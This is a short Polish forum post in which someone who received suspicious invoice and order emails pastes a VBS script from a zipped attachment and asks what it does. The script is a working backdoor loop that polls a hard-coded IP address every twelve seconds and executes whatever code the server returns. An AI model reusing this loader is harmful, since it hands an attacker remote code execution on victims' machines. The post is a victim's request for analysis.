Cześć,
ostatnio dostaje dziwne maile faktury/zmówienie itd. W załączniku skrypt vbs w zipie. Po edycji takie coś:
dim pcoblect, urls, date
Function FaxPc()
On Error Resume Next
While true
date = FormatDateTime(Now, vbLongTime)
urls = "http://107.174.81.200/z/" + date
WScript.Sleep 12000
Set pcoblect = createobject("Microsoft.XMLHTTP")
pcoblect.Open "GET", urls, False
pcoblect.Send
TextFax(pcoblect.responseText)
Wend
End Function
FaxPc()
Function TextFax(text)
On Error Resume Next
Execute "" + text + ""
End Function
' edWrQZvJkg
Czy możecie powiedzieć co to robi?